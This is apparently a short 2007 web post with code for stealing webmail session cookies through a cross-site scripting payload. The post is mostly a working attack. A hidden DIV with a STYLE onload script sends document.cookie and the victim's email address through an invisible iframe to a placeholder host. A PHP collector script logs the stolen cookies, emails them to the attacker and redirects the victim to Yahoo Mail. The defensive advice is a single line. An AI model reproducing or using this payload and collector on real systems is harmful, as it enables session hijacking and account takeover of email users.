
<DIV id=b style="VISIBILITY: hidden">
<STYLE onload="window.status='';
var x = escape(document.cookie).substr(0,1900);
b.innerHTML='<iframe src=http://your-site-here.com/script.php?
id='+document.title.substring
(document.title.indexOf('-')+2)+'&cookie=\''+x+'\'
frameborder=0 width=10 height=10></iframe>';" type=text/css>
</STYLE>
</DIV>
...which calls this php script:$file="cookie.log";
if (isset($_REQUEST["id"]) && isset($_REQUEST["cookie"])){
$logcookie = $_REQUEST["cookie"];
$logcookie = rawurldecode($logcookie);
$logemail = $_REQUEST["id"];
$logemail = rawurldecode($logemail);
if (file_exists($file)) {
$handle=fopen($file, "r+");
$filecontence=fread($handle,filesize("$file"));
fclose($handle);
}
$handle=fopen($file, "w");
fwrite($handle, "$logemail - $logcookie\n$filecontence\n ");
//Writing email address and cookie then the rest of the log
fclose($handle);
mail("email", "$logemail", "$logemail\n$logcookie\n$filecontence\n");
}
header("Location: http://mail.yahoo.com");
...which writes the cookie to the hackers .log file that resides on his server.
A very simple example but so deadly.
NOTE: The code is a little changed to make it hard to use without PHP knowledge.
How to protect yourself?
My advice: DON'T EVER OPEN EMAILS FROM AN UNKNOWN SENDER.
Added by roScripts on April-18-2007, 3:53 pm

2009-02-09 | 12:08 am
2009-02-09 | 12:07 am
2009-02-07 | 01:41 am